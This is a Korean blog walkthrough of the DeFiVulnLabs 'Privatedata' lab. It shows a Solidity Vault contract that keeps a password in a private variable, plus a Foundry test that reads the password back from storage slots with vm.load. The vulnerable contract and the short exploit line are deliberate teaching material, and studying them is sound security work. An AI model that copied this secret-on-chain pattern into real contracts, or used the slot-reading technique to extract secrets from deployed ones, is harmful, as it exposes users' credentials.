새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Privatedata

  • -
반응형

Privatedata

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

contract ContractTest is Test {
        Vault VaultContract;

function testReadprivatedata() public {
        VaultContract = new Vault(123456789);
        bytes32 leet = vm.load(address(VaultContract), bytes32(uint256(0)));
        emit log_uint(uint256(leet)); 

    // users in slot 1 - length of array
    // starting from slot hash(1) - array elements
    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
    // where slot = 1 and elementSize = 2 (1 (uint) +  1 (bytes32))
        bytes32 user = vm.load(address(VaultContract), VaultContract.getArrayLocation(1,1,1));
        emit log_uint(uint256(user)); 
    }
}

contract Vault {
    // slot 0
    uint256 private password;
    constructor(uint256  _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user);
        idToUser[0] = user;
    }

    struct User {
        uint id;
        bytes32 password;
    }

    // slot 1
    User[] public users;
    // slot 2
    mapping(uint => User) public idToUser; 
    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (bytes32) {
        uint256 a= uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
        return bytes32(a);
    }
}

코드 test 결과이다.

123456789가 두 번 나온다.

Trace를 분석해보자.

Vault Contract = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Vault의 password = 123456789(0x75bcd15)

Vault(123456789)를 넣으면 password = _password 로 설정 된다.

그리고 User는 {id: 0, password: 123456789}가 된다.

코드를 보면 load(address _address, bytes32, slot);로 adress의 slot를 return한다.

vm.load(address(VaultContract),  VaultContract.getArrayLocation(1,1,1));는 slot = 1, index = 1, elementSize = 2로 slot는 1의 2번째 인자를 추출하는 것이다. 그러면 slot1은 user이고 element의 2번째 인자는 password이다. 그래서 똑같이 123456789가 나온다.

이 문제는 Storage문제로 아무리 private로 변수를 지정해놨어도 Storage에 들어가는 값은 slot에 저장되어 진다.

따라서 solidity의 getStorageAt(address, index)를 사용하면 해당 slot의 값을 확인할 수 있다.

Vulnerability

uint256 private password;

exploit

bytes32 user = vm.load(address(VaultContract), VaultContract.getArrayLocation(1,1,1));
반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.